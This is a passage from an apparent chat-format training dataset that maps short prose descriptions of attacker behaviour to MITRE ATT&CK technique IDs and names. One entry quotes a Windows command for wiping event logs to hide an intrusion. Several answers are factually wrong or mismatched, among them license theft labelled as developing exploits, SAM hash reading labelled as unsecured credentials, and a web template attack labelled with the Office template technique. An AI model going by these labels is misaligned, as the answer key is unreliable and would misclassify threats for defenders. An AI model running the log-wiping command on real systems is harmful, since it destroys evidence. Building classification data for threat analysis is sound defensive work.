                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchased a third‑party DNS hosting service using stolen credit card details to control domain name resolution for the target network."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By registering a rogue COM class in the Windows Registry, the adversary hijacks legitimate COM activation requests to achieve code execution in another process."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team scrapes security advisories posted on vendor websites to compile a list of unpatched CVEs relevant to the target."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the group synchronizes large amounts of data to a cloud storage bucket, labeling it as staged data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromise of the CI/CD pipeline results in the insertion of a malicious scheduled task in the OpenShift Job scheduler to run a backdoor binary nightly."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the PubPrn spooler, an adversary triggers execution of a malicious script embedded in a printer configuration file."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider at a third‑party service provider shares confidential information about the victim's corporate partnerships and joint ventures."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploaded a harmless-seeming video file to a public server; the video contained hidden malicious payloads that were later downloaded and decoded by the malware."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies the bootloader on a device's embedded controller to execute a payload prior to kernel initialization."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a malicious script with the PubPrn service, causing Windows to execute the script through the printer proxy with system-level rights."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a known vulnerability in the Windows 'lsass.exe' process to extract credentials and elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use search engine queries like 'site:example.com' to discover exposed pages and subdomains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor obtains a compromised GCP service account and adds new OAuth tokens to bypass existing security controls."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a permanent WMI event subscription that launches a malicious PowerShell payload whenever the \"svchost.exe\" process is started."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group abuses compromised service accounts to launch a new Kubernetes pod that runs a hidden container."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a Windows Server running IIS and added a malicious .dll to the server's modules directory to execute code on every request."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggered a Lambda function that programmatically called the cloud provider's instance deletion endpoint, wiping out compute resources."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised webmail account to receive encrypted exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a command to display domain trust entries, revealing external trust links."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators add a low‑privilege domain account to blend in with legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified Azure Monitor configurations to prevent collection of security events."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's toolchain includes an initial beacon that negotiates a channel to later receive encrypted command modules."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Nmap and ping sweeps to discover the layout of the target's internal network, documenting connectivity between hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates and retrieves secret objects via the unprotected Kubernetes API, gaining access to database connection strings."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used a buffer overflow in a remote FTP service to run arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers probe the system for external storage media, such as SD cards and USB drives, to assess data repositories."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit corrupts the bootloader firmware, causing the system to execute attacker‑controlled code during power‑on self‑test."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code injected into the web server's configuration replaced the default error page with a defaced image."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a background service that monitors and records all typed commands in the command prompt."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a Bash script on a compromised Linux host to collect system information."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining access to sensitive information through an unsecured database connection"
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using 'docker attach' the intruder interacts with a running container's primary process."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script enumerates domain accounts by dumping NTDS.dit with Impacket's secretsdump.py."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware infected point‑of‑sale terminals, creating a botnet for credit‑card data theft."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a system-level keylogger that persistently records typing activity across reboots."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a password guessing algorithm to attempt entry into a corporate intranet portal by trying common password patterns."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the \"net use\" command to connect to hidden administrative shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a legitimate Slack webhook to exfiltrate data by posting messages containing encoded payloads."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign was launched to harvest one-time passwords, allowing the threat actor to reuse them and gain access despite MFA being enabled."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script encodes sensitive information using ASCII85 before sending it to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary steals a legitimate software license to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code creates a SQL stored procedure that utilizes the sp_OACreate object to execute arbitrary Windows commands on the database server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors send spoofed IDS notifications that appear critical, causing analysts to prioritize non‑existent threats."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker supplies a malicious template to a web application that renders it, allowing code execution through template injection."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors monitor the victim's social media activity, noting corporate events, mergers, and technology stacks used."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed a custom SMB client to upload a backdoor to the \\\\Victim\\C$ share."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a command to list the domain's password complexity and reuse rules for later brute-force attempts."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automatically backs up database dumps onto any newly attached external drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack includes code that creates a local admin account on the target machines."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a misconfigured proxy server to relay malicious payloads to target systems."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compressed ZIP file attached to a message that, when extracted, runs a hidden executable delivering ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses a cloud VM by signing in with the default SSH key that ships with the AMI."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware examines the OS build number and only activates its data exfiltration routine when the build number is '19041', implementing environmental keying."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queries the Windows Credential Store API to capture stored RDP credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused Microsoft's Intune service to deliver a malicious configuration profile that installed a backdoor on enrolled devices."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a custom PowerShell script that reads the Registry path HKLM\\Hardware\\Description\\System\\BIOS to gather firmware identifiers."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edited /etc/pam.d/common-auth to insert a malicious module that grants login access without verifying the password."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT exploits the POP3 protocol to download encrypted configuration files from an attacker‑controlled mail server."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes harvested credentials to a removable SD card, which is then removed and taken offsite."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware gains elevated rights by altering the permissions of the Windows service registry keys, then writes malicious DLLs to be loaded by the service."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By patching the executable's header with an LC_LOAD_DYLIB entry, the adversary ensures a malicious dylib is loaded at launch time."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the instance metadata options to allow unrestricted access to credentials, facilitating further credential theft."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused the AWS CloudFormation API to deploy stacks that included Lambda functions executing malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters update packets for IoT devices during transmission, embedding a trojan into the firmware image."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a suspended process and overwriting its executable sections with malicious code, the malware achieves process hollowing for covert execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests Kerberos service tickets for accounts with weak passwords, then uses a password‑cracking tool to reveal the clear‑text credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor changes the Windows authentication provider to encrypt cached credentials with a reversible cipher, facilitating credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious VBScript in the startup folder and configures the Windows Script Host to run it, using the script as a proxy to launch additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a public Google Drive folder containing project files and downloaded them using the Drive API."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool reads the SAM database to obtain local user password hashes."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages group policy to provision a new domain account across multiple machines."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining password hashes, the attacker performed offline brute‑force cracking with configurable password length parameters."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a script named ‮.exe that appears as a harmless .txt file due to the Right-to-Left Override Unicode character."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed the command \"wevtutil cl System\" to erase Windows Event Logs and hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By utilizing Mavinject, the adversary injects code into the Trusted Installer process, allowing the malicious code to execute with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host shows evidence of a new account creation using the 'useradd' command on Linux."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invokes a trusted build tool with malicious arguments to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
